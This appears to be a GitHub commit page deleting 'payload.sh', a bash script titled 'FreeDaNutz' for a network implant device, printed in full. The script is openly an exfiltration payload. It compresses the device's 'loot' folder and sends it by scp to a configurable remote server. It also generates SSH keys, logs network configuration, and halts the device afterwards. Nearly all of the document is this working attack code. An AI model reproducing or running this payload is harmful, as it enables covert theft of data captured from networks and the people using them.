Delete payload.sh
Darren Kitchen
GitHub
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72e3556325
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#!/bin/bash
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#
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# Title: FreeDaNutz
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# Description: This payload will compress the loot folder and then send that file to a remote server via scp
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# Author: infoskirmish.com
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# Version: 1.0
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# Category: exfiltration
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# Target: Any
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# Net Mode: NAT
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# LEDs
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# FAIL: This payload will LED FAIL (blink RED) for the following reasons
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# No USB storage found
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# Cannot send files to remote host
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# Cannot ping remote host
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# ATTACK: Setting NAT: Blink Yellow
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# Compressing: Rapid Cyan
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# Sending: Rapid Magenta
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# Cleaning up: Rapid White
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# SUCCESS: LED goes off
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exfilhost="xx.xx.xx.xx" # The hostname or ip address you want to send the data to.
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exfilhostuser="root" # The username of the account for the above hostname
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sshport="22" # Port to send data out on
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exfilfile="backup.tar.gz" # The name of the compressed loot folder
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identityfile="/root/.ssh/id_rsa" # Path to private identity file on the squirrel
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remotepath="/root/$exfilfile" # Path to filename (include file name) on the remote machine.
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exfilfilepath="/mnt/$exfilfile" # Location to temp store compressed loot (this gets sent)
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lootfolderpath="/mnt/loot" # Path to loot folder
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payloadlogpath="/mnt/loot/freedanutz" # Path to store payload log file
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# The main run function.
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# Inputs: None
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# Returns: None
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# Upon success it will call the finish() function to shutdown.
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function run() {
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# Create log directory
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# We store the tarball on /mnt outside the /mnt/loot folder in order to make sure we do not use up all the limited space on the device itself.
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if [ ! -d $payloadlogpath ]; then
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# If log path does not exisit then we should create it.
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mkdir -p $payloadlogpath &> /dev/null
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fi
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# Set networking to NAT mode and wait eight seconds
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NETMODE NAT
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sleep 8
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# If we cannot reach the server we want to send our data to then there is no point in going any further.
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ping $exfilhost -w 3 &> /dev/null
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pingtest=$?
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if [ $pingtest -ne 0 ]; then
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debugdata
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fail "FATAL ERROR: Cannot reach $exfilhost"
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fi
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# Let's test to make sure scp keys are set up correclty and we can send files before we send loot.
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testssh
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# Start blinking LED Cyan very fast to indicate compressing is in progress.
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LED C VERYFAST
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# Compress the loot folder
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echo "tar -czf $exfilfilepath $lootfolderpath" >> $payloadlogpath/log.txt
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tar -czf $exfilfilepath $lootfolderpath &> /dev/null
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# Start blinking LED Magenta very fast to indicate sending is in progress.
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LED M VERYFAST
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# Send compress file out into the world.
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echo "scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath" >> $payloadlogpath/log.txt
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scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath &> /dev/null
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# Clean up
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finish
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}
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# A function to clean up files and safely shutdown
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# Inputs: None
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# Returns: None
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function finish() {
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# Remove the file we have sent out as it is no longer needed and just taking up space.
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echo "Removing $exfilfilepath" >> $payloadlogpath/log.txt
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rm $exfilfilepath
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sync
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# Halt the system; turn off LED
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LED OFF
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halt
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}
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# A function to test if the payload can send files to the remote host.
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# Inputs: None
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# Returns: None
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# On test fail will abort script.
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function testssh() {
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# Create test file.
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touch $exfilfilepath.test
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scp -P $sshport -C -i $identityfile $exfilfilepath.test $exfilhostuser@$exfilhost:$remotepath &> /dev/null
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error=$?
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if [ $error -ne 0 ]; then
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# We could not send test file; this is a fatal error.
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rm $exfilfilepath.test
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debugdata
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fail "FATAL ERROR: Could not access and/or login to $exfilhostuser@$exfilhost remove path = $remotepath"
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else
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# Be nice and try to remove the test file we uploaded.
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ssh $exfilhostuser@$exfilhost 'rm $remotepath.test'
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rm $exfilfilepath.test
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fi
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}
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# A function to standardize how fatal errors fail.
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# Inputs: $1:Error message
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# Returns: None
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# This will abort the script.
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function fail() {
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LED FAIL
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echo $1 >> $payloadlogpath/log.txt
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sync
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halt
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}
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# A function to dump data to aid in trouble shooting problems.
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# Inputs: None
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# Returns: None
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function debugdata() {
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echo "=== DEBUG DATA ===" >> $payloadlogpath/log.txt
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ifconfig >> $payloadlogpath/log.txt
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echo "=== Scp Command ===" >> $payloadlogpath/log.txt
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echo "scp -P $sshport -C -i $identityfile $exfilfilepath $exfilhostuser@$exfilhost:$remotepath" >> $payloadlogpath/log.txt
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echo "=== Tar Command ===" >> $payloadlogpath/log.txt
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echo "tar -czf $exfilfilepath $lootfolderpath &> /dev/null" >> $payloadlogpath/log.txt
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echo "=== Public Key Dump ===" >> $payloadlogpath/log.txt
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cat $identityfile.pub >> $payloadlogpath/log.txt
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echo "=== Network Config Dump ===" >> $payloadlogpath/log.txt
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cat /etc/config/network >> $payloadlogpath/log.txt
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echo "=== Ping $exfilhost Results ===" >> $payloadlogpath/log.txt
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echo "If there is no data it likely means that $exfilhost is a bad address." >> $payloadlogpath/log.txt
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ping $exfilhost -w 3 >> $payloadlogpath/log.txt
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echo "=== lsusb Dump ===" >> $payloadlogpath/log.txt
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lsusb >> $payloadlogpath/log.txt
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}
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# Zero out payload log file.
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echo "" > $payloadlogpath/log.txt
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# This payload will only run if we have USB storage
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if [ -d "/mnt/loot" ]; then
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# Check to see if the .ssh folder exists. If it does not exist then create it.
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if [ ! -d "/root/.ssh" ]; then
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# If it doesn't then we need to create it.
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echo "Warning: /root/.ssh folder did not exits. We created it." >> $payloadlogpath/log.txt
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mkdir -p /root/.ssh &> /dev/null
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fi
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# Check if identity file exists. If not create it.
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if [ ! -f $identityfile ]; then
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# We need to log a warning that since the identify file was not found then this payload likely will fail. This payload will give the user a likely way to fix this problem.
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echo "Warning: We had to create $identityfile" >> $payloadlogpath/log.txt
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echo "To complete setup you'll likely need to run this command on the squirrel (make sure when you do your squirrel can access $exfilhost)" >> $payloadlogpath/log.txt
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echo "cat $identityfile.pub | ssh $exfilhostuser@$exfilhost 'cat >> .ssh/authorized_keys'" >> $payloadlogpath/log.txt
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ssh-keygen -t rsa -N "" -f $identityfile
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fi
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LED ATTACK
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run
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else
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# USB storage could not be found; log it in ~/payload/switch1/log.txt
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payloadlogpath="log.txt"
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debugdata
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fail "Could not load USB storage. Stopping..."
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fi
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